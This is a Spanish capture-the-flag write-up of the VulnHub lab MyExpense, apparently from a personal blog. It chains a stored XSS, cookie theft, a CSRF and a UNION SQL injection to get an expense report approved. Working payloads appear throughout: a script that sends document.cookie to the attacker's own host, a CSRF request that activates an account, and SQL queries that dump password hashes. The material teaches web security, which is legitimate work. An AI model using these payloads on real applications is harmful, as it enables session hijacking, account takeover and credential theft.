the_open_door
café
ESEN

MyExpense 1

VulnHubMediaLinux192.168.1.158

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#web#stored-xss#csrf#cookie-theft#session-hijacking#union-sqli#hash-cracking#md5#business-logic
TL;DR. MyExpense es una caja puramente web: no hay shell ni root, el objetivo es reclamar los 750 € que la empresa le debe a Samuel. La cadena encadena fallos de lógica de negocio con XSS almacenado: se registra una cuenta forzando el botón deshabilitado, se roba la cookie del administrador reflejando un <script> en admin.php y, sobre ese mismo XSS, se abusa de un CSRF para activar la cuenta. Luego se pivota de usuario robando cookies vía comentarios, y para llegar al aprobador financiero se recurre a una SQLi UNION que vuelca su hash MD5; crackeado (HackMe), se aprueba el reporte y cae la flag.

Reconocimiento

Localizar la máquina en la red

A diferencia de un laboratorio con VPN, aquí la máquina es una imagen que se levanta en la red local y su IP no la sabemos de antemano. El primer paso es descubrirla con un barrido ARP, que pregunta a nivel de enlace y no depende de que el host responda a ICMP:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan recorre los 256 hosts de la red y devuelve seis respuestas; la 192.168.1.158 aparece resaltada con la MAC 00:0c:29:44:b9:d2 de VMware Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.158   00:0c:29:44:b9:d2   VMware, Inc.
192.168.1.128   74:e2:0c:8f:1e:6f   Amazon Technologies Inc.
192.168.1.136   a4:77:33:d7:4d:4c   Google, Inc.
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.526 seconds. 6 responded

La delata el fabricante de la MAC: VMware, mientras el resto de la red son un router, un Amazon y un Google. Un ping confirma que responde:

ping -c 1 192.168.1.158

el ping a 192.168.1.158 responde con ttl=64, un paquete enviado y uno recibido

64 bytes from 192.168.1.158: icmp_seq=1 ttl=64 time=0.462 ms
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 sin decrementar → Linux y sin saltos de routing por medio, coherente con una máquina de la misma red local.

Escaneo y enumeración web

El escaneo TCP completo devuelve cinco puertos, uno conocido y cuatro en el rango alto:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.158

el escaneo descubre el 80 y cuatro puertos altos: 51007, 53117, 57381 y 57953

Discovered open port 80/tcp on 192.168.1.158
Discovered open port 53117/tcp on 192.168.1.158
Discovered open port 51007/tcp on 192.168.1.158
Discovered open port 57953/tcp on 192.168.1.158
Discovered open port 57381/tcp on 192.168.1.158

PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 64
51007/tcp open  unknown syn-ack ttl 64
53117/tcp open  unknown syn-ack ttl 64
57381/tcp open  unknown syn-ack ttl 64
57953/tcp open  unknown syn-ack ttl 64
MAC Address: 00:0C:29:44:B9:D2 (VMware)

Los cinco se pasan al siguiente comando con extractPorts:

extractPorts scan

extractPorts devuelve IP Address 192.168.1.158 y Open ports 80,51007,53117,57381,57953, copiados al portapapeles

Extracting information ...
IP Address: 192.168.1.158
Open ports: 80,51007,53117,57381,57953

Ports copied to clipboard

Los cuatro puertos altos aparecen como unknown porque no hay nada en /etc/services para esos números; hace falta la segunda pasada para saber qué son:

nmap -p80,51007,53117,57381,57953 -sCV 192.168.1.158

nmap identifica Apache 2.4.25 en el 80 con la cookie PHPSESSID sin httponly y un /admin/admin.php en robots.txt, y cuatro Mongoose httpd en los puertos altos

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Futura Business Informatique GROUPE - Conseil en ing\xC3\xA9nierie
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-robots.txt: 1 disallowed entry
|_/admin/admin.php
51007/tcp open  http    Mongoose httpd
53117/tcp open  http    Mongoose httpd
57381/tcp open  http    Mongoose httpd
57953/tcp open  http    Mongoose httpd

Dos cosas se llevan la atención, y las dos acaban importando:

  • El script http-cookie-flags avisa de que la cookie PHPSESSID no lleva el flag httponly. Ese flag es justamente lo que impide que el JavaScript de la página lea la cookie con document.cookie. Sin él, cualquier XSS que se consiga puede robar sesiones, que es exactamente lo que haremos.
  • El robots.txt tiene una única entrada prohibida, /admin/admin.php. Un fichero pensado para decirle a los buscadores dónde no mirar termina siendo un índice de lo interesante.

Los cuatro Mongoose httpd de los puertos altos son servidores web mínimos, sin título ni contenido útil, y no vuelven a aparecer en la cadena.

La identificación de la pila la cierran whatweb y Wappalyzer:

whatweb 192.168.1.158

whatweb identifica Apache 2.4.25 sobre Debian con la cookie PHPSESSID y el título Futura Business Informatique GROUPE - Conseil en ingénierie

http://192.168.1.158 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.158],
Title[Futura Business Informatique GROUPE - Conseil en ingénierie]

Wappalyzer sobre 192.168.1.158 detecta Apache HTTP Server 2.4.25, PHP y Debian, sobre la portada Welcome to MyExpense Application

Web servers            Apache HTTP Server 2.4.25
Programming languages  PHP
Operating systems      Debian

La propia portada explica el flujo de negocio que después va a ser la cadena de ataque:

MyExpense application allow collaborators and managers to report their expenses in order to be
reimburesed as quick as possible.
Collaborator : your manager, then the financial approver have to validate your request.
Manager : the financial approver has to validate your request.

Un gasto necesita dos firmas: primero la del manager del colaborador y después la del financial approver. Ese detalle, escrito en la portada, es literalmente el mapa de la escalada.

El enunciado del reto añade el contexto y, con él, unas credenciales de partida:

el guión del reto: Samuel Lamotte ha sido despedido de Futura Business Informatique sin cobrar 750 euros y decide atacar la aplicación interna MyExpense; sus credenciales eran samuel/fzghn4lw

Usted es "Samuel Lamotte" y acaba de ser despedido de su empresa "Futura Business Informatique".
... no ha tenido tiempo de validar el informe de gastos de su último viaje de negocios, que todavía
asciende a 750 euros ...
Sus credenciales fueron: samuel/fzghn4lw
Una vez realizado el desafío, la bandera se mostrará en la aplicación mientras está conectado con su
cuenta (samuel).

Confirmamos el hallazgo del robots.txt con la enumeración web específica de nmap:

nmap --script http-enum -p80 192.168.1.158

http-enum lista /admin/admin.php y /login.php como posibles carpetas de administración, más el fichero robots.txt

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /admin/admin.php: Possible admin folder
|   /login.php: Possible admin folder
|_  /robots.txt: Robots file

El panel lista todos los usuarios de la empresa. El nuestro, Samuel Lamotte (slamotte), aparece como Inactive: la historia es que Samuel fue despedido y su cuenta quedó bloqueada. Otros usuarios clave: pbaudouin (Financial approver), mriviere (Manager).

Tabla Users de /admin/admin.php: slamotte (Samuel Lamotte, Collaborator) marcado Inactive; pbaudouin y afoulon como Financial approver; mriviere como Manager

Registro forzando el botón deshabilitado

Las credenciales de slamotte (samuel / fzghn4lw) no dejan entrar:

el login.php responde: Your account has been locked or is inactive. Please contact the administrator team.

Your account has been locked or is inactive. Please contact the administrator team.

El mensaje es informativo de más: no dice "usuario o contraseña incorrectos", dice que la cuenta existe y está bloqueada. O sea, las credenciales son buenas y el obstáculo es el estado de la cuenta, no la autenticación. Eso reorienta el objetivo: no hay que averiguar una contraseña, hay que activar una cuenta.

Probamos entonces a registrar un usuario nuevo. El formulario de signup.php pide usuario, contraseña, sede, correo, nombre y apellidos:

el formulario Create an account relleno con el usuario jaime, la sede Paris y el correo jaime@jaime.com, con el botón Sign up! resaltado

El botón Sign up está apagado y no responde al clic. Pero al inspeccionarlo se ve por qué:

el inspector muestra el botón submit con el atributo disabled="" en el HTML

<button class="btn btn-primary btn-block" type="submit" name="signup" value="signup" disabled="">Sign up !</button>

El bloqueo es un atributo disabled en el HTML, es decir, una decisión tomada en el navegador, que es justo el sitio que controla el atacante. Se borra el atributo desde el propio inspector y el botón vuelve a funcionar:

el inspector con el atributo disabled señalado en la línea del button, y arriba el botón Sign up! ya activo y resaltado

la aplicación responde con el banner verde Your account was successfully created! sobre el formulario de Log in

El usuario se crea, aunque también nace Inactive. Y aquí está lo importante:

la tabla Users de admin.php con la fila jaime / jaime@jaime.com resaltada y marcada como Inactive, junto al resto de empleados

Nuestro input del registro se refleja tal cual en admin.php, la página que un administrador revisa con frecuencia. Eso es terreno abonado para un XSS almacenado.

XSS almacenado + CSRF

Inyectamos en el registro un <script> que carga un recurso nuestro. Los campos que se reflejan en la tabla son el nombre y los apellidos, así que el payload va en los dos:

<script src="http://192.168.1.80/cookieStealer.js"></script>

el formulario Create an account con el payload script src cookieStealer.js en los campos Firstname y Lastname, resaltados

Antes incluso de escribir el fichero robado se levanta el servidor, porque lo primero que interesa saber es si alguien abre esa página:

python3 -m http.server 80

el http.server registra varias peticiones GET /cookieStealer.js que devuelven 404, repetidas cada minuto

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.158 - - [03/Mar/2025 00:08:57] code 404, message File not found
192.168.1.158 - - [03/Mar/2025 00:08:57] "GET /cookieStealer.js ... HTTP/1.1" 404 -
192.168.1.158 - - [03/Mar/2025 00:09:27] code 404, message File not found
192.168.1.158 - - [03/Mar/2025 00:09:27] "GET /cookieStealer.js ... HTTP/1.1" 404 -

Los 404 son exactamente la prueba que buscábamos: el fichero todavía no existe, pero alguien está pidiéndolo cada 30 segundos, es decir, hay un proceso (o un administrador simulado) que abre admin.php periódicamente y ejecuta nuestro <script>. Ahora sí, se escribe el recurso:

nano cookieStealer.js

cookieStealer.js en nano: crea un XMLHttpRequest y hace un GET a http://192.168.1.80/?cookie= concatenando document.cookie

// cookieStealer.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.80/?cookie=' + document.cookie);
request.send();

Al poco, el servidor HTTP empieza a recibir peticiones: alguien (el administrador) abre admin.php y ejecuta nuestro JavaScript, mandándonos su cookie de sesión.

Servidor python http.server recibiendo GET /cookieStealer.js y a continuación GET /?cookie=PHPSESSID=2pm9fn3h4g218j19l7qj7q86l5

GET /cookieStealer.js
GET /?cookie=PHPSESSID=2pm9fn3h4g218j19l7qj7q86l5

La cookie es la del administrator, pero al usarla da error:

la aplicación responde: Sorry, as an administrator, you can be authenticated only once a time, sobre un Error 403 - Forbidden

Sorry, as an administrator, you can be authenticated only once a time.
Error 403 - Forbidden

La app no permite dos sesiones simultáneas del mismo usuario, así que la sesión robada no sirve para entrar. Hace falta otro enfoque, y está en la propia tabla:

la tabla Users de admin.php con la etiqueta Inactive de la fila slamotte resaltada, que resulta ser un botón

Ese Inactive no es texto, es un botón. Y su enlace lo dice todo:

la URL admin/admin.php?id=11&amp;status=active devuelve Sorry, something goes wrong con un Error 401 - Unauthorized al pedirla desde nuestra sesión

http://192.168.1.158/admin/admin.php?id=11&status=active
  ->  Sorry, something goes wrong.
      Error 401 - Unauthorized

Pedirla nosotros devuelve un 401: la acción existe pero exige privilegios. Y ahí encaja la pieza que ya tenemos, porque el administrador ejecuta nuestro código en su navegador, con su sesión.

CSRF: activar la cuenta con el XSS

En admin.php, el estado Inactive es en realidad un botón que cambia la cuenta a active, y esa petición solo la puede hacer un usuario con privilegios. Como el administrador carga y ejecuta nuestro recurso, cambiamos el payload: en lugar de robar su cookie, que su navegador haga por nosotros la petición privilegiada. Es un CSRF montado sobre el XSS.

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.158/admin/admin.php?id=11&status=active');
request.send();

el mismo cookieStealer.js reescrito en nano, ahora con el GET apuntando a admin/admin.php?id=11&amp;status=active

El id=11 es el de slamotte, y el fichero conserva el nombre porque el <script src> ya inyectado apunta a él: solo cambia lo que hay dentro. La confirmación llega en la siguiente pasada del administrador:

el http.server registra un GET /cookieStealer.js con código 200, esta vez servido correctamente

192.168.1.158 - - [03/Mar/2025 00:58:24] "GET /cookieStealer.js HTTP/1.1" 200 -

admin.php mostrando la cuenta de slamotte ya en estado active tras ejecutarse el CSRF desde el navegador del administrador

Con la cuenta activada, slamotte ya puede iniciar sesión: aparecen los 750 € pendientes, que solicitamos con el botón verde.

Sesión de slamotte: reporte de 750 € (Plane tickets, Cybersecurity project) en estado Sent for payment

El reporte pasa a Submitted, no a pagado:

la pantalla de expense_reports.php con el banner The expense report is submitted successfully! y la columna Status del reporte de 750 euros marcada como Submitted

The expense report is submitted successfully !
  Date        Amount   Comment                                              Status
  2018-02-15  750 €    Plane tickets, Cybersecurity project n°5423545       Submitted

Pivotar entre aprobadores

¿Quién tiene que firmar? El propio perfil de slamotte lo dice:

la página profile.php de slamotte, con el campo Manager resaltado: Manon Riviere

Username : slamotte
Role     : Collaborator
Site     : Rennes
Manager  : Manon Riviere

El reporte necesita el visto bueno de Manon Riviere (mriviere). Y la portada de slamotte tiene un tablón de mensajes donde ella ha escrito, y donde nosotros también podemos publicar:

la pestaña Home con la tabla Last messages, el mensaje de Manon Riviere resaltado arriba, y abajo el formulario Post a new message también resaltado

Mismo patrón que antes: contenido nuestro que otros usuarios van a leer. Se repite el XSS almacenado, esta vez en el puerto 8080 para no mezclar estas peticiones con las del anterior, que sigue activo:

<script src="http://192.168.1.80:8080/cookieStealer.js"></script>

el formulario Post a new message relleno con el script src apuntando a 192.168.1.80:8080/cookieStealer.js

nano cookieStealer.js

el cookieStealer.js vuelve al robo de cookie, ahora apuntando al puerto 8080

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.80:8080/?cookie=' + document.cookie);
request.send();

el mensaje publicado aparece en la tabla como Samuel Lamotte (Rennes), Collaborator, con la columna Message vacía porque el script no se renderiza

El mensaje aparece con el cuerpo vacío, que es justo lo que se espera: el navegador no pinta una etiqueta <script>, la ejecuta.

python3 -m http.server 8080

el http.server del 8080 recibe cuatro cookies de sesión distintas, cada una precedida de su GET /cookieStealer.js

"GET /?cookie=PHPSESSID=7hu871k1ka5qc73rfdttjipjl2 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=u2ea1rjkat3d8ph4b6ikp8kiu1 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=4ln75m5drj9jkdj57a71f5b4j7 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=fe13bo3vr6ibdae11ncgsc2s80 HTTP/1.1" 200 -

Cuatro cookies distintas, porque son cuatro usuarios los que abren el tablón. No hay forma de saber cuál es cuál sin probarlas, así que se van sustituyendo una a una en el navegador. La segunda acierta:

la cookie PHPSESSID sustituida en el panel Storage del navegador y la barra superior mostrando Manon Riviere (mriviere)

Ya como mriviere, la pestaña de reportes muestra el de slamotte esperando aprobación, con los dos botones de aceptar y rechazar:

la vista Collaborators Expense reports como mriviere, con el reporte de 750 euros de Samuel Lamotte en estado Submitted y los botones de accion resaltados

Se acepta, pero el dinero sigue sin llegar: falta el aprobador financiero. El panel de administración recuerda que hay dos:

la tabla Users de admin.php con las filas afoulon y pbaudouin resaltadas, ambas con el rol Financial approver

Y el perfil de mriviere desempata cuál de los dos:

la página profile.php de mriviere, con el campo Manager resaltado: Paul Baudouin

Username : mriviere
Role     : Manager
Site     : Rennes
Manager  : Paul Baudouin

Es pbaudouin. Pero él no lee el tablón, así que el XSS no sirve para llegar hasta su cuenta.

Acceso a pbaudouin: SQLi UNION

El parámetro id es numérico

En la pestaña Rennes, la URL lleva un site.php?id=2 que pinta una tabla de empleados de esa sede:

site.php?id=2 muestra la tabla Rennes (8 Rue des lilas, 35000 Rennes) con Manon Riviere, Bernadette Renaud y Samuel Lamotte

Rennes (8 Rue des lilas, 35000 Rennes)
  Firstname   Lastname   Email address              Role
  Manon       Riviere    mriviere@futuraBI.fr       Manager
  Bernadette  Renaud     brenaud@lrtechnologies.fr  Collaborator
  Samuel      Lamotte    slamotte@futuraBI.fr       Collaborator

Un parámetro que selecciona filas de una tabla es el candidato obvio. La primera prueba es la de siempre, romper la consulta con una comilla:

http://192.168.1.158/site.php?id=2'-- -

la página muestra el aviso Sorry, a technical error has occured. y la tabla de empleados sale vacía

Sorry, a technical error has occured.

La web se rompe, lo cual confirma que el parámetro llega a la consulta sin filtrar. Pero conviene entender por qué se rompe, porque cambia el payload: si el id fuese una cadena, la consulta sería WHERE id='2' y la comilla la cerraría limpiamente. Que falle indica lo contrario, que la consulta es WHERE id=2 sin comillas por tratarse de un valor numérico, y entonces nuestra comilla sobra y es ella la que provoca el error de sintaxis. La conclusión práctica es que aquí no hay que abrir ninguna comilla: se inyecta directamente detrás del número.

Con eso claro, el siguiente paso de una inyección UNION es contar cuántas columnas devuelve la consulta original, porque el UNION exige el mismo número. Se hace subiendo con ORDER BY hasta que falla:

http://192.168.1.158/site.php?id=2 ORDER BY 2-- -
http://192.168.1.158/site.php?id=2 ORDER BY 3-- -

con ORDER BY 2 la tabla se muestra sin errores y además reordenada: Bernadette Renaud pasa a la primera fila

El ORDER BY 2 no solo no falla: la tabla vuelve reordenada (Bernadette aparece ahora la primera), que es la confirmación de que la inyección se está ejecutando de verdad y no simplemente ignorada.

con ORDER BY 3 la página muestra el aviso Sorry, a technical error has occured. sobre la tabla de la pestaña Rennes

ORDER BY 2  ->  la página responde con normalidad
ORDER BY 3  ->  Sorry, a technical error has occured.

Ordenar por la columna 2 funciona y por la 3 no, luego la consulta devuelve exactamente 2 columnas.

Volcado de credenciales

Con dos columnas montamos el UNION SELECT y recorremos el esquema de arriba abajo. Primero las bases de datos:

site.php?id=2 UNION SELECT NULL, schema_name FROM information_schema.schemata-- -

la respuesta lista information_schema, myexpense, mysql y performance_schema bajo el nombre de la sede

Rennes (8 Rue des lilas, 35000 Rennes)
(information_schema)
(myexpense)
(mysql)
(performance_schema)

De las cuatro, tres son del propio motor y solo myexpense es de la aplicación. Sus tablas:

site.php?id=2 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='myexpense'-- -

la respuesta lista las cuatro tablas de myexpense: expense, message, site y user

(expense)
(message)
(site)
(user)

Y las columnas de user, que es la que interesa:

site.php?id=2 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_schema='myexpense' AND table_name='user'-- -

la respuesta lista las columnas de la tabla user, con username y password señaladas con flechas rojas

(user_id) (username) (password) (role) (lastname) (firstname)
(site_id) (mail) (manager_id) (last_connection) (active)

Con los nombres exactos ya se puede pedir la pareja usuario:contraseña. El group_concat las junta todas en una sola celda, que es lo que hace falta cuando la respuesta solo pinta un valor por fila:

site.php?id=2 UNION SELECT NULL, group_concat(username,0x3a,password) FROM user-- -

La SQLi UNION vuelca el volcado de la tabla user, con pbaudouin:64202ddd5fdea4cc5c2f856efef36e1a resaltado

pbaudouin:64202ddd5fdea4cc5c2f856efef36e1a

Crackeo del hash MD5

El hash de pbaudouin tiene 32 caracteres hexadecimales, la firma de un MD5 sin sal. Al no llevar sal, el mismo texto produce siempre el mismo hash, y eso permite saltarse la fuerza bruta: basta consultarlo en un servicio de rainbow tables, que son tablas ya calculadas de hash a texto claro.

Hashes.com devuelve 1 hashes were checked: 1 found 0 not found y la pareja 64202ddd5fdea4cc5c2f856efef36e1a:HackMe

Proceeded! 1 hashes were checked: 1 found 0 not found

Found:
64202ddd5fdea4cc5c2f856efef36e1a:HackMe

La flag

Con pbaudouin:HackMe iniciamos sesión como aprobador financiero, y su vista es distinta: ve las tres sedes en el menú y los reportes ya validados por los managers, con un botón verde de pago:

la sesión de Paul Baudouin (pbaudouin) con los reportes de Manon Riviere y Samuel Lamotte en estado Validated y los botones de accion resaltados

Collaborators Expense reports
  2018-02-21  Manon Riviere    553 €  A new computer.                       Validated
  2018-02-15  Samuel Lamotte   750 €  Plane tickets, Cybersecurity project  Validated

Se acepta el de slamotte y la aplicación lo confirma:

el banner The expense report is sent for payment successfully! y el reporte de Samuel Lamotte ya desaparecido de la lista

The expense report is sent for payment successfully !

Volviendo a la sesión de slamotte, la aplicación confirma el objetivo cumplido: Samuel recupera su dinero.

Sesión de slamotte tras la aprobación: banner "Congratz ! The flag is : flag{H4CKY0URL1F3}" y el reporte de 750 € en Sent for payment

flag{H4CKY0URL1F3}

Cadena de ataque

admin.php refleja el input  ->  XSS almacenado en el registro
    └─> el admin ejecuta el JS  ->  robo de cookie (single-session, inútil)
            └─> mismo XSS -> CSRF admin.php?id=11&status=active  ->  slamotte activo
                    └─> login slamotte (750 €)  ->  XSS por comentario  ->  cookie de mriviere
                            └─> pbaudouin no ve el chat  ->  SQLi UNION en site.php?id
                                    └─> pbaudouin:MD5 -> HackMe  ->  aprobar reporte  ->  flag

Lecciones aprendidas

  • Un botón deshabilitado no es un control de seguridad. disabled vive en el cliente; quitarlo en el DOM basta para enviar el formulario.
  • Reflejar el input en una página que ve un privilegiado es XSS + CSRF. El mismo payload sirve para robar la cookie o para ejecutar acciones privilegiadas en nombre de la víctima.
  • La lógica de aprobación en cadena es explotable eslabón a eslabón. Cada rol (colaborador, manager, aprobador) se compromete con la técnica que su comportamiento permita.
  • Un id numérico sin entrecomillar sigue siendo SQLi. No hace falta una comilla para inyectar cuando el valor no va entre comillas en la consulta.
  • MD5 sin sal es texto claro con retraso. Una tabla arcoíris devuelve la contraseña en segundos.
Cheatsheet de comandos 8 comandos

Repaso rápido